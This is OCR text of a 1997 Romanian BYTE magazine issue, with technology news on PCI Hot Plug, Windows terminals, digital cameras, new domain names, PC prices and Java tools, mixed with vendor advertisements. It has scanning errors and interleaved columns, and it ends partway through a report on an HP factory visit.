sistem Hi Cartelă adaptoare #n Indicator de avertizare | Comutatoare bus PCI de alimentare și bus 3 Hot Plug va fi disponbil la inceputul celei de a doua jumătăţi a acestui an. Desigur, pentru ca sistemele de operare să suporte noua specificaţie, utilizatorii vor trebui să aştepte după Microsoft, Novell şi SCO pen- tru integrarea acestei noi tehnologii în pro- priile sisteme de operare. Toţi aceşti mari furnizori intenționează să ofere suport spe- De regulă, mediul Windows es- te asociat unui program client „plinuţ”, dar care arată ca unul „Slăbuţ”, așa cum este NT. În cuvântarea rostită la recenta conferinţă Windows Hardware Engineering din San Francisco, Bill Gates a confirmat că firma Microsoft a adoptat o atitudine necruțătoare în privința terminalelor Windows. „Utilizatorii doresc programe client mici și simple“, spunea Gates. De asemenea, el a subliniat că îmbinarea unui browser Web cu sistemul de operare într-un program client mic, principial reprezintă o contradicție. Ceea ce Gates a sugerat în acel moment, a fost periculoasa asemănare cu descrierea lui WinFrame a firmei Citrix, care permite Este (în curând) în NT cificației Hot Plug prin actualizarea soft- ware-ului de sistem în decursul unui an. Noua specificaţie este proiectată pentru a transforma serverele PC în platforme mai bune, destinate rulării fără întrerupere a apli- caţiilor critice din domeniul afacerilor. PCI Hot Plug este proiectat în trei variante, dar toate au un atribut comun și anume faptul că reţelei de clienţi să ruleze programe găzduite pe un server NT. De fapt, firmele Microsoft și Citrix au încheiat un acord în privinţa licen- telor prin care, Microsoft va utiliza tehnolo- gia firmei Citrix in cadrul terminalelor Win- dows, pentru viitoarele versiuni NT. Microsoft a declarat că va integra în NT 5 un terminal mic pe care-l va introduce și în NT 4 în aceas- tă vară, dar fără să specifice data exactă. Clienţii WinFrame sunt accesibili sub DOS, Windows, 0S/2, Mac și diferite versi- uni Unix. Arhitectura de consolă inteligen- tă a firmei Citrix interceptează apelurile interfeţei dispozitivului grafic (GDI) și le redirectează spre client. Astfel clientul recepționează reprezentările grafice ale aplicaţiei ce se execută la distanță pe server; mașina client nu rulează în acel moment Windows sau aplicaţii Windows. - Dave Andrews 14 BYTE Romania IULIE 1997 serverul nu poate fi oprit in momentul înlocuirii sau actualizării dispozitivelor. Aceste variante sunt: Hot Plug PCI Replace- ment (înlocuieşte un dispozitiv defect sau pe cale de a se defecta cu altul identic); Hot PCI Upgrade (înlocuiește dispozitivele PCI şi dri- verele existente cu versiuni noi ale acestora); şi Hot PCI Expansion (instalează cartele de intrare/ieșire şi drivere software adiționale). Problema în privința îndreptării spre teh- nologia Hot Plug se află chiar pe platformele furnizorilor, cum sunt furnizorii de servere PC şi sisteme de operare, spunea Karl Wal- ker, director pentru dezvoltarea tehnologi- că al firmei Compaq. (Firma Compaq este un susținător important al iniţiativei Hot Plug, unul din scopurile sale fiind lansarea de hardware compatibil Hot Plug la înce- putul celei de a doua jumătăți a acestui an). Scopul este acela de a permite utilizatorilor să-şi poată folosi adaptoarele PCI pe care le au, dar cu noi servere şi sisteme de operare actualizate pentru Hot Plug. Hot Plug va avea nevoie atât de drivere noi, cât şi de mo- dificarea sistemului de operare (vezi figura de mai sus). De asemenea, pe placa de bază, serverele destinate specificaţiilor Hot Plug vor avea nevoie de componente adiționale, cum sunt controlerul Hot Plug şi sloturile specifice comutatoarelor de tensiune care permit software-ului să întrerupă alimenta- rea unui slot în timp ce sistemul funcționea- ză. lar serverele vor trebui să fie astfel con- struite încât utilizatorii finali să poată acce- sa ușor cartela adaptoare PCI fără a pertur- ba operaţiile executate pe PC. Magistrala PCI nu este una tolerantă la erori, prin urmare, dacă o cartelă PCI nu mai funcţionează, compromiţând astfel integri- tatea magistralei PCI sau a software-ului de sistem, serverul trebuie reiniţializat. Dar tehnologia Hot Plug promite să amelioreze timpii morţi cauzați de defectarea unor cartele sau de necesitatea actualizării aces- tora. lar acest lucru va permite multor ser- vere robuste să ruleze aplicaţii critice fără întrerupere. — Dave Andrews Aparatele foto di- gitale devin utile Aparatele foto digitale încep să părăsească domeniul de curiozitate al înaltei tehnolo- gii, îndreptându-se spre lumea activităților zilnice. Capacitatea acestor aparate de a oferi o previzualizare a imaginilor şi de a le încărca într-un PC, cel puţin în principiu, atrage mulți clienți. Dar, o dată cu apariţia primelor serii de produse, acestea au rămas doar în stadiul de a fi dorite, în special de către cei conştienţi de prețul acestora. Aproape toate aparatele foto digitale apărute la început au fost la fel de scumpe şi la fel de limitate în privinţa calităţii, suferind datorită vieții prea scurte a bateriilor şi a capacităţii mici de sto- care. Acum această situaţie s-a schimbat. PalmCam al firmei Pa- nasonic este portabil, memorând 94 imagini. Ultimele aparate foto digitale se plasează în fruntea categoriei produselor robuste, oferind noi funcțiuni remarcabile și având un nou model de împachetare. Cu noile op- tiuni de stocare şi software îmbunătăţit oferite, aceste produse au reuşit să pătrundă pe piaţă. De obicei, aparatele foto digitale anteri- oare arătau ca nişte binocluri profesionale. Dar niciodată ele nu au avut o formă pe deplin nouă, cu dimensiuni mai reduse. De exemplu, noul aparat PV-DC1000 Palm- Cam la 499$ al firmei Panasonic (201-348- 7000;http://www.panasonic.com) can- tăreşte exact 5.5 uncii (155,65 grame), ofe- rind acum o calitate VGA și stocând maxim 94 de imagini (la o rezoluţie de 320 x 240 dpi) sau 32 de magini la o rezoluţie mai bună (640x480dpi). lar acesta include un afişor LCD de 1.2 inch destinat vizualizării ulte- rioare a imaginilor. Aparatul funcționează cu o baterie nichel-cadmiu reîncărcabilă. O altă inovaţie vine de la firma Nikon (800-52-NIKON; http://www.nikonusa „com) cu aparatul său Coolpix la 499$. Acesta pare să fie ultimul model de aparat foto digital. În esență, Coolpix 100 este un aparat digital uşor de utilizat ce stochează imaginile pe o cartelă conectabilă la PC: Se pot face fotografii, iar apoi acestea pot fi accesate imediat prin introducerea cartelei în PC sau laptop. Imaginile luate prin ori- care dintre obiectivele firmei Nikon sunt foarte bune. Aparatul poate stoca 21 de imagini la o rezoluţie fină sau 42 de ima- gini la o rezoluţie normală. De asemenea, putem remarca noul aparat foto digital PowerShot 350 al firmei Canon (800-848-4123; http://www.ccsi .canon. com). El are un afişor LCD color de 1.8 inch şi un senzor CCD (Charge-Coupled Device) cu 350.000 pixeli. Pentru stocarea imagi- nilor PowerShot utilizează o cartelă amovi- bilă CompactFlash cu 2MB memorie în care încap până la 47 de fotografii. Preţul apara- tului este de 699$, fiind disponibil în mai multe versiuni la firma Konica. Până acum, stocarea imaginilor a consti- tuit o mare problemă; multe aparate nu au oferit o posibilitate ușoară și ieftină de a „schimba filmul“. Acum, putem găsi pe piaţă câteva proiecte competitive, incluzând noua minicartela lansată de firma Intel, folosită atât de aparatul digital Konica Q-EZ cât şi de HP PhotoSmart (fabricate de Konica). Aceste mici cartele sunt ieftine (aproximativ 50$ - cele cu 2MB si 75$ - cele cu 4MB) şi stochează 16 fotografii la o re- zoluţie fină sau 32 de fotografii la o rezolu- ţie obișnuită. Cartelele vor fi fabricate atât de Intel cât și de alte firme, astfel că ele vor fi larg răspândite. Fără a utiliza aparatul foto digital, ci doar cu ajutorul unui adaptor opţional, se pot vizualiza imaginile direct pe ecran. Alţi furnizori, inclusiv Canon şi NEC, utilizează formatul CompactFlash. Toate aceste îmbunătăţiri i-au determi- nat pe analişti să prezică o dublare a vân- zărilor aparatelor foto digitale în acest an față de anul trecut. Oamenii de afaceri care doresc integrarea ușoară a imaginilor în do- cumente şi partajarea sigură a lor între di- verşi clienţi sunt ajutaţi astfel să-și atingă scopul. „Cred că o mare parte din dez- voltarea acestei pieţe va fi susţinută de dome- niul activităţilor cotidiene“, spunea Jona- than Cassel, analist Dataquest. — Jon Pepper Este vorba despre domenii Internetul, fata de o largime de banda mai mare, are nevoie şi de mai multe nume de domeniu. Creşterea explozivă a Web-ului ne-a plasat pe toți, începând cu persoanele particulare și până la firmele uriaşe, în situ- ația de a căuta cu disperare un nume valid de apel. Curând, dacă International Ad Hoc Committee (IAHC; http://www.iahc .org/) isi va urma propriul sau drum, un nou set de nume de domenii de nivel inalt (TLD) ne va uşura munca. IAHC este o organizație compusă din membri ce provin atât din rândul creato- CoolPix de la Nikon este o camera cu cartela. rilor standardului Internet, cum sunt Inter- net Society si Internet Assigned Numbers Authority, cat si din grupurile pentru stan- darde internationale, cum sunt Internati- onal Telecommunications Union si World Intellectual Property Organization. Dome- niile de nivel inalt propuse sunt: .firm-pentru firme și afaceri „store-pentru firmele care oferă spre vân- zare bunuri de consum „web-pentru entități cu activități asociate WWW „arts-pentru entități având activităţi cul- turale şi de divertisment „rec-pentru siturile de divertisment /recre- atie .info-pentru entităţile ce furnizează servicii informaţionale „nom-pentru clasificarea individuală sau personală Cât de reală este această necesitate a nu- melor noi ? Suficient de reală, întrucât alte IULIE 1997 BYTE România 15 LOTURI două întreprinderi au început să aibă pro- priile alternative la proiectul IAHC. eDNS (http://www.edns.net) a propus un model de piaţă liberă pentru domeniile de nivel înalt. Name Space (http://namespace.auto- no.net/) a făcut deja un pas înainte cu pro- priul său domeniu de nume al serverelor şi domenii de nivel înalt create de clienţi. To- tuși, fără binecuvântarea unui standard sau a unei coordonări între entități, aceste orga- nizații, în prezenţa domeniilor extinse ale IAHC, se pot confrunta cu probleme de su- pravietuire, ce nu se vor lăsa aşteptate. „Da- că totul decurge bine, veți putea vedea noile domenii de nivel înalt a sfârşitul acestui an“, spunea Martin Burack, director executiv la Internet Society. Şi cu aceasta, Internetul va face încă un pas important de la rădăcinile sale academice spre propria dezvoltare co- mercială. - Steven J. Vaughan-Nichols Specificatiile vor oferi grupurilor de PCo forta de fier Deplasarea serverelor PC pe taramul calcu- latoarelor mini si mainframe poate lua am- ploare din cauza grupării noului software de interfață pentru servere $i staţii de lucru. Firmele Microsoft, Compaq, Intel și alte firme (peste 40) aşteaptă să finalizeze spre sfârşitul acestui an, specificația arhitecturii interfeței virtuale (VIA). Această arhitec- tură abstractizează detaliile rețelelor spe- ciale (SAN) utilizate în grupuri de servere PC. SAN sunt rețele de viteză mare ce cu- prind servere PC, subsisteme de stocare și staţii de lucru client, ce rulează aplicaţii dis- tribuite, cum sunt procesarea tranzacţiilor şi aplicaţiile pentru luarea deciziilor. Aceste reţele, precum ServetNet a firmei Tandem Computer si Scalable Coherent Interface a firmei Dolphin Interconnect Solutions, sunt compuse din cartele de interfata si soft- ware de rețea ce permit serverelor să comu- nice cu alte reţele într-un timp mai scurt decât în cazul rețelelor LAN tradiționale. Unul din scopurile arhitecturii interfeței virtuale este obținerea unor performanțe mai mari, prin reducerea duratelor de întârziere la comutarea contextelor şi pro- tocoalelor, atunci când aplicaţiile interac- ționează cu o rețea specială. Un alt scop este acela de a îndepărta dezvoltatorii de apli- caţii de necesitatea de a cunoaşte detalii despre hardware-ul ce se află în spatele rețelei speciale. „Specificaţia va permite dezvoltatorilor să scrie software îndrăzneţ, cu informaţii de grup şi care va funcţiona 16 BYTE România. IULIE 1997 Do po gi A aaa cr pom tem, pm. em aden (em. iam, pen dna | “Vedere generală Mai multă putere, prețuri mai mici Noile sisteme, dotate cu ultimele procesoare x86 ale firmelor Intel și AMD, au apărut deja. În urma chestionării marilor furnizori de PC-uri, pentru o configuraţie maximă a unui sistem Pentium Illa 233-MHz (PII), vă puteţi aștepta să plătiţi aproximativ 2900$ și cu aproximativ 300-400$ mai putin pentru un sistem în configuraţie similară cu procesor AMD K6 la 233-MHz. (Pentru mai multe informaţii despre performanţele acestor noi procesoare, citiți Bits din luna trecută). În acest chestionar, BYTE a insistat asupra sistemelor la 233-MHz pentru a compara preţurile procesoarelor K6 si Pll. Procesorul PIl este disponibil și în varianta 266-MHEz, iar în curând, în varianta 300-MHez, în timp ce K6 este disponibil la o viteză maximă de 233 MHz. Amintind că preţurile sistemelor prezentate aici pot varia în funcţie de configuraţie și că acestea reprezintă doar o imagine de moment, se prezintă mai jos un sumar despre ceea ce se poate cumpăra și la ce pret. SISTEME PENTIUM II DREN N SEDO eRe eee eee e enon ene neneneensecnstaeane AST Bravo LC 6233 233 MHz PIl cu 512 KB L2 cache; max. 128 MB memo- rie EDO; 2 GB EIDE disc hard; unitate CD ROM 16x; cartela grafica S3 Virge DX (2 MB). Pret estimat: 2500$. (800-876-4278; http://www.ast.com) Acer 9606 Minitower 233 MHz Pll: 32 MB me- morie RAM. Pret estimat: 2949$ cu monitor de 17 inch, 2449$ fara monitor. (800-551-ACER; http://www.acer.com) Dell Dimension XPS H233 233 MHz Pll; 64 MB memorie EDO ECC; 512 KB L2 cache; 4.3 GB disc hard; monitor Philips de 17 inch; cartelă grafică Matrox Millennium (4 MB);unitate CD ROM NEC 16X; cartelă de sunet Yamaha Wavetable Sound; speakere Altec Lansing ACS 290; Modem U.S. Robotics 33.6 w/ Voce; USB. 3079$. (800-BUY-DELL; http://www.dell.com) Digital Celebris GL-2 — 233 MHz PII; 32 MB me- morie RAM, 512 KB L2 cache; 3.2 GB EIDE disc hard, unitate CD-ROM 16X, cartelă grafică Matrox MGA Millennium (2 MB WRAM), cartelă de rețea 10/100 Ba- se-TX auto Ethernet. 3313$. (800-344-4825; http://www.digital.com) Gateway 2000 PSE ENE SOAR OREO Ree eee ee nen eeeeeeneeeeeyennes. 233 MHz Pll; 64 MB memo- rie RAM; 3.2 GB Fast ATA disc hard; cartelă video Virge GX (4 MB): unitate CD-ROM 12X sau 16X; cartelă de sunet Ensoniq Wavetable PCI Audio; speakere Altec Lansing ACS 41; modem X2 Telepath 56 Kbps. 2889$. (800-846-2000; http://www.gw2k.eom)- ~ Intergraph TD-225 233 MHz PII (capabilitate duală-CPU); minitower; 64 MB memorie RAM; 512 KB cache; 1.7 GB disc hard; car- telă grafică Matrox Millenni- um (2 MB RAM); cartelă de sunet Ensoniq wave-table plus claviatură multimedia; cartelă de rețea 10Base-TX Ethernet; CD-ROM 12X; uni- tate floppy; monitor de 17 inch. 3379$. (800-763-0242: http://www.intergraph.com) Polywell P7/233G 233 MHZ PII; minitower; 32 MB memorie EDO RAM; 512 KB L2 cache; cartelă video Di- amond 3D S3-Virge 2000 (cu 4 MB); disc hard Maxtor 5.1 GB Ultra-IDE, 5400 rpm; uni-_ tate floppy 1.44 MB; tastatu- ră, mouse; unitate CD-ROM 12X EIDE; cartelă de sunet Crystal 16 biti; monitor de 17 inch; adaptor Intel 100 Pro 10/100MB EtherExpress PCI. 3337$. (800-999-1278; http://www.polywell.com) SISTEME K6 CyberMax PowerMax A22 233-MHz K6; 512 KB pipe- line burst L2 cache; 32 MB memorie RAM; 4 GB disc hard; cartelă grafică Matrox MGA Millennium (4 MB WRAM); unitate CD ROM 16X Max; monitor 17 inch; cartelă de sunet Ensoniq 32 biti; speakere Altec Lansing ACS 540 si ACS 5250; modem de 33.6 Kbps; tas- tatură cu microfon. 2349$. (800-433-9868; http://www.cybmax.com) CyberMax PowerMax A51 La fel ca PowerMax A22 exceptand: 64 MB memorie EDO RAM; cartelă grafică Matrox (8 MB); speakere ACS 400 si ACS 250. 2749$. Mitsuba 233 MHz K6; 32 MB me- morie RAM; 512 KB pipeline sincron L2 cache; 2.1 GB Quantum Fireball ST Ultra DMA disc hard; accelerator grafic Trident 64 biti; unitate CD ROM 12X Toshiba; adap- tor Intel EtherExpress Pro 10/100; monitor Hyundai de 17 inch; mouse, tastatură. 2129$. (909-392-2000; http://www .mitsuba.com) - Polywell K6233Mx Aceeași configuraţie ca P7/233G, dar cu procesor K6 la 233 MHz. 3021$. - Jason Krause [i e e ee el oe er ee Oe a) a al Experienţa în materie de sisteme informatice integrate de monitorizare a vânzărilor pentru reţele de magazine plasează ICL printre cei mai căntați furnizori de aplicaţii şi echipamente Team POS de pe piața mondială. De aceea, când ieși la cumpărături, poti conta pe faptul că ICL se află întotdeauna la dispoziția ta. Cele mai bune ICL se află în vârful preferințelor celor mai importante reţele de magazine. Reţele comerciale de renume precum Auchan, Billa, Carrefour, Dunhill, La Rinascente, Laura Ashley, McDonald’s, Migros, Marks & Spencer, Manor, Sainsbury’s, Shell sunt doar câteva exemple care vă oferă imaginea pe care şi-a câştigat-o ICL printre cei care ştiu să facă astfel încât cumpărăturile să fie nu doar o plăcere, ci şi o afacere rentabilă. The Business Solutions Company Pentru relații suplimentare contactaţi: ICL - International Computers Limited (U.K.), Branch Romania & Rep. Moldova, Bd. Republicii 44-46, sector 2, Bucureşti, Tel: 401 250 61 17, Fax: 401 250 58 18 Parteneri autorizați: GENESYS SOFTWARE S.R.L. (Bucureşti) Tel: 01 220 32 80; INTELPROF INTERNATIONAL S.R.L. (Braşov) Tel: 068 419 706; MIXERA S.R.L. (Brăila) Tel: 039 634 917; ALFASOFT S.A. (Cluj-Napoca) Tel: 064 197 586; ELCOSOFT S.R.L. (Cluj-Napoca) Tel: 064 191 236; TOP EDGE ENGINEERING S.R.L. (Craiova) Tel: 051 413 193; ROMUS TRADING & DEVELOPMENT LTD (laşi) Tel: 032 210 492; FIBA IMPORT EXPORT S.R.L. Ree! Tel: 044 114 868; CORES S.R.L. (Timisoara) Tel: 056 190 051; DATALOG GEMENI IER (Tg. Mureş) Tel: 065 169 367 n FUJITSU PCs e NOTEBOOKS ¢ SERVERS TIAU i În întâmpinarea novela i a Ina A ~~ A ““ dumneavoastră am implementat trebuie Sa sustin 2113 BS) . Cit 2 conceptul calității totale, calitate . i i — a See eC nceeeicMiiiceciaciacii Aveti nevoie de e a a COMRACE COMPUTERS, CaiCulatOare perform mondiale incorporate in calculatoarele COMRACE. optimal CO nfig Ş rate Acestea sunt proiectate, optimizate şi testate astfel încât aplicaţiile dumneavoastră să ruleze la 5 : performanţă maximă fiabile chiar şi 24 ore/zi. ante Cele mai noi tehnologii 3 ani garantie integrala. sustinute printr-un Asistenţă, suport tehnic şi service ope rativ service asigurate de profesionişti. Ri Cu un angajament integral pentru satisfacția utilizatorului prin calitate totală, | d © 1997 COMRACE COMPUTERS TCM Reise Rieti Alba lulia: CRISTAL SOFT INTERNATIONAL - 058-813159 *Arad: LEXIMIS - 057-251245 *Bacau: NERATON SERVICE - 034-181507 «Baia Mare: CUMULUS LOGIC - 062- i 433248 «Braşov: COSIDOR COM - 068-310534; ERIMEX - 068-143594 *Brăila: ROM GT PLUS - 039-611660 *Bucureşti: ALSYS DATA - 01-4112626 Călăraşi: OPTIM SOFT - *fax:051-413209 042-314589 *Cluj-Napoca: TELEZIMEX - 064-425103 *Constanta: BRIO BIT - 041-616811 *Deva: RECEP PLUS - 054-218205 *Focsani: QUATTRO IMPEX - 037-625134 Bucuresti ¢tel:01-3361318 *Galati: SIMM'S INTERNATIONAL - 036-443344 «laşi: BETALINE - 032-271281 +Miercurea Ciuc: BITRACE - 066-172090 *Oneşti: COMPUTER SERVICE - 034-326632 VREI *Pitesti: OPEN SYSTEMS - 048-219000 *Reşița: SELCO - 055-215301 *Rîmnicu Vilcea: BIT CENTER - 050-730109 *Satu Mare: DATA ELECTRONIC - 061-737635 *Sibiu: : 3 DATA PRO - 069-210489 *Slatina: TANDEM SERVICE - 049-423184 «Suceava: DATA SERVICE - 030-214982 «Timisoara: ETA 2 U - 056-199508: EXACT - 056-220170 *Tirgu E-Mail — office@comrace.eunet.ro Jiu: ELTOP - 053-218666 «Tirgu Mures: CARO COMP - 065-210040 Comandă un COMRACE: şi lasă-l să lucreze pentru tine Datapro Report Noile unelte Java împodobesc serverele e doi ani cu Java, cea mai mare piaţă es- te cea a uneltelor de dezvoltare a aplica- ţiilor. Datapro a văzut în piaţa de astăzi patru generaţii distincte (și suprapuse) de astfel de unelte. Prima generaţie a început în decembrie 1995, chiar înainte de lansarea uneltelor Java Developement Kit (JDK) 1.0 ale firmei Java- Soft. Aceste unelte, începând cu categoria JDK, un mediu cu componente esenţiale pentru cod și până la Symantec Cafe, un mediu de dezvoltare complet interactiv (IDE), au fost primele clasate în categoria uneltelor axate pe cod. A doua generaţie a fost oferită dezvoltato- rilor o dată cu primul mediu vizual de dezvol- tare interactiv. Aceste produse au inclus un Produsul Jamba al firmei AimTech este un astfel de exemplu; utilizatorii creează apple-turi Java prin completarea unei machete de intrare și prin manipularea vizuală a obiectelor, iar produsul generează automat codul Java corespunzător. (Există o cale de a introduce propriul cod Java, dar aceasta nu este prea ușoară). Un alt produs este Coda al firmei RandomNoise (planifi- cat să apară în această vară); pentru dez- voltarea codului, acest produs utilizează ca interfață un modul de tehnoredactare com- puterizată. A patra generaţie de unelte oferă posibili- tatea de a construi aplicaţii Java pe partea de server. Aceste pachete au început să apară pe piaţă pe parcursul celei de a doua Cele patru generații ale uneltelor de dezvoltare Java Generaţie Exemple Prima * Java Development Kit 1.0, 1.1 Axată pe cod; câteva unelte vizuale * Netscape Navigator Din 1995 până acum. ° Symantec Cafe A doua ¢ SunSoft Java Workehon | Unelte de dezvoltare vizuală cu mediu pentru * Symantec Visual Cafe generare de cod * Microsoft Visual J++ 1.0 Din 1996 până acum * ObjectShare Parts for Java 1.0 * Metrowerks CodeWarrior * Penumbra Mojo * Marimba Bongo : * Castanet Atreia . - AimiTech Jamba Unelte de dezvoltare vizuală cu generare de cod °*RandomNoise Coda automată; pot avea limitări în generarea de cod * Bluestone Sapphire/Web 3.0 De la 1996 până acum ° RogueWave JFactory A patra * GemStone for Java Capabilităţi Java pe partea de server; pot avea * IBM Visual Age for Java unelte de dezvoltare pe partea de client ¢ SunSoft JavaPlan Din 1996 până acum * Parts for Java 2.0 * Visual J++ 1.1 * JavaWorkshop 2.0 mediu pentru cod, precum și unelte grafice prefabricate pentru manipularea obiectelor uzuale, cum sunt cele folosite la construirea interfeţei utilizator. Uneltele de dezvoltare apărute în a doua jumătate a anului 1996 intră toate în această categorie, care includ trei dintre cele mai cunoscute medii de dez- voltare interactive: Java WorkShop al firmei SunSoft, Visual Cafe al firmei Symantec si Visual J++ al firmei Microsoft. Alte unelte din aceasta categorie sunt Parts for Java a firmei ObjectShare, CodeWarrior (care lucreaza atât cu cod Java cât și cu C++ sau Pascal) a firmei Metrowerks și Mojo a firmei Penumbra. A treia generaţie de produse permit crearea aplicaţiilor Java scriind un cod mic. jumătăţi a anului 1996, iar noul JDK 1.1, care oferă posibilitatea scrierii aplicaţiilor server, va avea cu certitudine aceste unelte. Astfel de produse sunt GemStone pentru server Java al firmei cu același nume, JavaPlan CASE al firmei SunSoft și versiunile actuali- zate Parts for Java, JavaWorkshop și Visual J++. De asemenea, firma IBM lucrează la un proiect care să aducă Java pe calculatoarele mainframe. În anul 1997 așteptăm să vedem pe piaţă mult mai multe unelte din generaţia a treia și a patra. Deborah Hess, analist principal al serviciului Insight din cadrul firmei Datapro. Alte informaţii la 609-764-0100; http://www. datapro. com. lhe pe platforme hardware ale diverselor firme producătoare,“ spunea Jim Henry, direc- tor al departamentului de dezvoltare ServerNet din cadrul firmei Tandem. „Uti- lizatorii finali vor putea alege hardware de mică sau înaltă performanţă, în funcţie de soluţia potrivită, ştiind că software-ul lor va funcționa cu acel hardware.“ Arhitectura interfeţei virtuale reprezin- tă oaltă cale, de-a lungul atâtor sisteme de operare, a bazelor de date cu informaţii de grup, prin care serverele PC se dezvoltă în scopul manipulării masivelor în ordinea intrărilor şi alte aplicaţii anterioare ges- tionate de calculatoarele mainframe. Firma Microsoft va introduce arhitectu- ra interfetei virtuale in a doua versiune (pri- ma gestionează mai mult de două noduri) a propriei tehnologii Wolfpack, care este programată pentru testele beta în anul 1998, în concordanţă cu declarațiile lui Mark Wood, director de producţie al Win- dows NT Server la Microsoft. Firma Mi- crosoft nu este unicul furnizor de sisteme de operare ce oferă VIA; există şi alți dez- voltatori de sisteme software precum Novell si SCO. Arhitectura interfetei virtuale va fi com- patibilă cu modul de transfer asincron (ATM), Ethernet, Fibre Channel şi cu alte arhitecturi de reţea. Ceea ce-și propune această nouă tehnologie este ca specifi- caţiile să fie independente de sistemul de operare și hardware, permiţând utilizato- rilor să folosească servere RISC sau x86 pentru sprijinirea mediilor eterogene de calcul. Dave Andrews Unde trecutul și prezentul se întâlnesc Discul istoriei anunţă viitorul modelului de interfață utilizator Filmul de desen animat al istoriei univer- sului înglobează elemente din programele educative, jocurile interactive pe Internet şi cărțile umoristice. Mașina timpului inclusă în program te poartă de la începu- turile primordiale şi până în glorioasa Grecie, chestionându-te și oferindu-ți jocuri de-a lungul acestei călătorii. Acest CD- ROM se poate justifica prin valoarea educa- tivă pe care are în procesul de învăţare al copiilor sau pur şi simplu de recreere. Dar profesioniștii în tehnica de calcul pot fi, de asemenea, interesaţi de tehnicile interfeţei utilizator ale programului, pe care firme ca Microsoft şi Netscape au inceput să le IULIE 1997 BYTE România 19 utilizeze. De exemplu, pe „platforma universală“ aCD-ROM-ului, datele sunt disponibile la cerere; nu trebuie să le cauţi pe propriul disc hard local, într-o reţea locală sau pe Inter- net. Când te distrezi cu un joc găzduit peun server Web la distanţă, software-ul ascunde browserul în spatele interfeței jocului. Componentele acestui disc pot fi uşor adaptate pentru activităţi cooperante în domeniul software. Acest CD-ROM a depășit cadrul istoriei pentru a ne arăta care ar putea fi viitorul modelelor de interfață utilizator. - Alan Joch Noile servicii de retea GSM În curând, ultimele standarde europene GSM vor oferi mai multă inteligență rețelelor telefonice. Acestea vor permite operatorilor de reţea să creeze noi servicii şi să utilizeze caracteristicile de gestiune a apelurilor telefonice, cum este transferul inteligent prin cablul telefonic, atunci când telefonul mobil nu poate fi contactat, sau — | i | ag Desenul animat al Istoriei Universului Human Code, Austin, TX. 800-659-5455 sau 512-477-5455; http://www.humancode.com; 24.95$ transferul postei vocale celulare, daca al doilea apel nu poate fi realizat. După spuse- le furnizorilor europeni de servicii GSM, mulți abonaţi nu folosesc chiar toate ser- viciile uzuale ale rețelei existente. O parte din funizorii GSM atribuie acest lucru com- plexităţii interfeţei utilizator. „Oamenii ştiu ce doresc să facă în viitor cu ajutorul tele- foanelor mobile. Însă ei nu ştiu cum să facă aceste lucruri,“ spunea Ken Blakeslee, directorul departamentului de dezvoltare a firmei Nortel şi președintele asociaţiei Mobile Data Association. „Prin urmare, primul lucru ce trebuie făcut este acela de a furniza dispozitive care să ofere servicii- lor existente, cum sunt mesageria, poşta 20 BYTE Romania LULIE 1997 vocală, identitatea apelantului, o cale de uti- lizare mult mai intuitivă. Următorul pas va oferi servicii personale ce pot fi parame- trizate de la distanţă, prin reţea, de către uti- lizatori,“ spunea Blakeslee. De exemplu, firmele Ericsson şi Nokia au abordat această problemă folosind pro- priile cartele PC, adăugând platformelor de calcul un telefon GSM complet. Conectând una din aceste cartele într-un notebook multimedia, pe lângă serviciile de mesagerie scurtă, fax, poştă electronică și acces la distanță, avem şi un telefon GSM, interfața utilizator a telefonului fiind chiar note- book-ul. Recent, firma Motorola a prezentat un „telefon inteligent“ ce încorporează o agendă, un planificator, poşta electronică Dispozitivul bazat pe Java de la Nortel este construit să ofere e-mail și alte informaţii şi o interfață bazată pe creion digital (pen- based). Teleport 9080 al firmei AEG Mobile Communication a urmărit îmbunătăţirea interfeţei utilizator prin for- marea numărului de telefon cu ajutorul Cartela telefonică celulara Nokia transfor- mă notebook-ul într-un telefon fără fir. comenzii vocale, fără folosirea tastelor. Firma Nortel Europe a introdus cea mai avansată tehnologie de calcul într-un dis- pozitiv inteligent, numit telefon de reţea. Acest aparat de buzunar conţine un set de cipuri Java care-l transformă într-un mic terminal client de comunicaţii. El are un ecran sensibil la atingere, ce integrează tehnologia de culegere a datelor bazată pe creion digital precum şi recunoaşterea în timp real a scrisului de mână. Nortel intenționează să furnizeze telefonul de rețea în primul trimestru al anului următor. - Bob Emmerson [din BYTE, o publicatie McGraw-Hill, Inc. Adaptare - Mircea Sabău] pa S Reportaj Pe plaiuri catalane Sea 1 perioada 20-21 iunie mi s-a oferit plăcuta ocazie de a vizita, i împreună cu colegii Florin Crăciunoiu de la TVR şi Răz- van Anghelidi de la Chip, Hewlett-Packard Espanola S.A., Barcelona Division, pe scurt HP BCD. Şi, cum bănui că sunteţi mai puţin interesaţi de o descriere a oraşului, situat într-un loc binecuvântat de zei, de extraor- dinarele construcţii ale lui Gaudi, de ames- tecul tuturor seminţiilor pământului de pe La Rambla, sau de cum se mai simte Gică Popescu la F.C. Barcelona, voi trece direct la obiectivul principal alvizitei, fabrica HP şi noile serii de plotere/imprimante de for- mat lat HP DesignJet 2500CP si 2000CP. HP a început producţia în divizia barce- loneză, în august 1985, cu 35 de angajaţi, ajungînd în prezent la peste 1.500 de anga- jaţi (cu o medie de vârstă de 33 de ani, din- tre care peste 80% au studii superioare), la o cifră de afaceri, în anul fiscal 1996, de 175,097 milioane de pesetas, HP BCD fiind exportatorul numărul 1 de produse elec- tronice din Catalonia și numărul 2 din Spania. Acum, aţi putea întreba de ce şi-a deschis HP fabrica în Spania şi nu în Româ- nia? Dar, la fel de bine, v-aţi putea întreba şi de ce au debarcat aliaţii în Normandia și nu la Vama Veche... Numai că aceasta-i altă poveste și poate că n-aş mai fi amintit de ea dacă, încă de la intrarea în fabrică, n-am fi realizat că, încă înaintea summit-ului de la Madrid am fost pasaţi în valul doi la admiterea în NATO. Mai exact, chiar lângă recepție era atârnat un banner cât se poate de drăguţ, realizat pe un HP DesignJet 2500CP, despre care o să vă povestesc, nu vă impacientaţi, pe care erau adresate urările de bun venit ziaristilor din țările din Estul Europei... Şi lista începea cu Româ- nia (wow! Locul 1 în valul 2 L), continua cu Slovacia, Bulgaria, Iugoslavia, Croaţia, Slovenia şi Ucraina. Şi nici urmă de Polo- nia, Cehia şi Ungaria. Acu', ce rost avea amestecarea marketingului cu politicul, nu mă întrebaţi, că nu ştiu. Mais passons! Prima prezentare a fost susținută de dl. Bernard Meric, General Manager, HP BCD, care ne-a făcut o scurtă prezentare a pieţei şi a tendințelor de evoluţie a acesteia. În domeniul imprimării cu jet de cerneală, HP distinge trei segmente de piaţă diferite: (de) consum, (de) birou şi profesional; şi se adresează în mod specific fiecărui segment de piaţă în parte, familia HP Designjet fiind alcătuită, în prezent, din modelele 350C, 330, 